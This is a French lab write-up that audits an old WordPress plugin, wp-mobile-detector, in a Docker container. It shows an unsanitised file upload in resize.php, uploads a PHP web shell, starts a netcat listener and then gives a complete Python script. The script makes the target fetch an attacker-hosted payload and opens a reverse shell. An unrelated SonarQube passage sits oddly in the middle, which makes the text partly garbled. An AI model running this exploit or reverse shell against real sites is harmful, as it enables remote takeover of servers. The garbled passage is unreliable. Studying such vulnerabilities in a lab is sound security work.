On commence tout d'abord par créer l'environnement docker.
Comme ici le plugin wordpress à auditer est assez ancien, il est nécessaire de passer par un conteneur :
# Sur ma kalidockerrun--namewordpress-p80:80-dthiagobarradas/wordpress:4.5-php7.2MDP:Mudar123
On peut ensuite s'y connecter :
# Shell dans le docker $dockerpsCONTAINERIDIMAGECOMMANDCREATEDSTATUSPORTSNAMES208f62cd787ethiagobarradas/wordpress:4.5-php7.2"/run.sh"6hoursagoUp5hours0.0.0.0:80->80/tcp,:::80->80/tcp,3306/tcpwordpress$dockerexec-it208f62cd787ebash# Dans le docker root@208f62cd787e:/app#
Il faut ensuite paramétrer le plugin de façon à augmenter la limite de taille et omettre la configuration du serveur FTP :
root@208f62cd787e:/app#vimphp.ini# Ajouter les directives suivantes :upload_max_filesize=64Mpost_max_size=128Mmemory_limit=264Mroot@208f62cd787e:/app#vimwp-config.php# De même :define('FS_METHOD','direct' );
On peut commencer à chercher les occurrences mentionnées sur le sujet dans l'archive dézippés du plugin. A savoir les requêtes HTTP utilisées en PHP à l'aide variables commençant par un "$_" :
Ici on fait un regex (expression régulière), nous permettant de trouver toutes les variables présentes dans tout les fichiers .php des fichiers présents dans l'archive.
Un détail saute aux yeux directement, il s'agit de la fonction "file_put_contents" présente dans le fichier de redimensionnement d'image "resize.php". Elle dépose un fichier passé en paramètre après "src" :
"file_put_contents" fait appel ici au tableau associatif $REQUEST pouvant être manipulé par l'utilisateur. On peut donc y passer une valeur, ici un fichier, après le paramètre "src", prenant son chemin absolu, avec "dirname".
Le fichier est ensuite déposé dans le dossier "/cache/" du plugin :
De plus, aucune vérification d'extension ni sanitisation n'est faite sur la valeur passé en paramètre, qui est ici un fichier. On peut donc d'emblée essayer d'y uploader un fichier.
On commence d'abord par démarrer notre serveur Python dans u répertoire prévu à cette effet. Ici, on essaye d'abord avec un fichier .php sans rien à l'intérieur :
Notre fichier php est bien uploadé ! Sans plus attendre, on peut dès maintenant y insérer un Webshell, généré avec le superbe outil http://revshells.com :
Le fichier est désormais enregistré en tant que "shell.php". Après avoir séléctionné notre payload et mis le port et l'adresse IP, on peut mettre un netcat en listener :
$nc-lvnp9001
Puis ensuite remplacer notre hello.php en un shell.php :
Cette commande va analyser le code PHP dans le répertoire actuel et envoyer les résultats à SonarQube.
On retourne sur l'interface web de SonarQube et accédez à votre projet. On voit maintenant voir les résultats de l'analyse de code PHP :
Rédaction d'un script python pour automatiser la tâche
Il est maintenant temps de créer un script nous permettant d'obtenit un accès complet au serveur :
import http.serverimport socketserverimport requestsfrom urllib.parse import quoteimport threadingfrom requests.models import PreparedRequestfrom http.server import BaseHTTPRequestHandlerimport socket, sys, timeimport netifacesfrom urllib.parse import urlparse, unquoteimport os# Glob varsprint("Don't forget the run a python http web server to host your payload : $ python3 -m http.server PORT_NUMBER")UPLOAD_ADDR ="http://localhost/wp-content/plugins/wp-mobile-detector/resize.php"GETSHELL_ADDR ="http://localhost/wp-content/plugins/wp-mobile-detector/cache/"IP_ADDR =input("Please provide your IP : ")PORT =input("Please prove a port : ")PAYLOAD =input("Please provide your payload : ")# starting the listenerdeflisten(ip,port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# same as previously s.bind((IP_ADDR, port)) s.listen(1)print("Listening on port "+str(port)) conn, addr = s.accept()print('Connection received from ',addr)whileTrue:#Receive data from the target and get user input ans = conn.recv(1024).decode() sys.stdout.write(ans) command =input()#Send command command +="\n" conn.send(command.encode()) time.sleep(1)#Remove the output of the "input()" function sys.stdout.write("\033[A"+ ans.split("\n")[-1])defstartingAttack():# getting the http web server address protocol ="http" attack_param =f"{protocol}://{IP_ADDR}:{PORT}/{PAYLOAD}"print("Attack param to send : ", attack_param)# testing the parameters utils# for the uploading url req =PreparedRequest() url = UPLOAD_ADDR# params with ip and file from the http server params ={'src':attack_param}# Passing params and decoding req.prepare_url(url, params) upload_url_param =unquote(req.url)print("Upload URL: ", upload_url_param)# Same for the getshell_addr url_with_payload = GETSHELL_ADDR + PAYLOADprint("Getting a shell at : "+ url_with_payload)# A GET request to the URLs upload_response = requests.get(upload_url_param)#print(upload_response)# To obtain a shell os.system("curl "+ url_with_payload)#print(attack_response)startingAttack()listen("127.0.0.1",9999)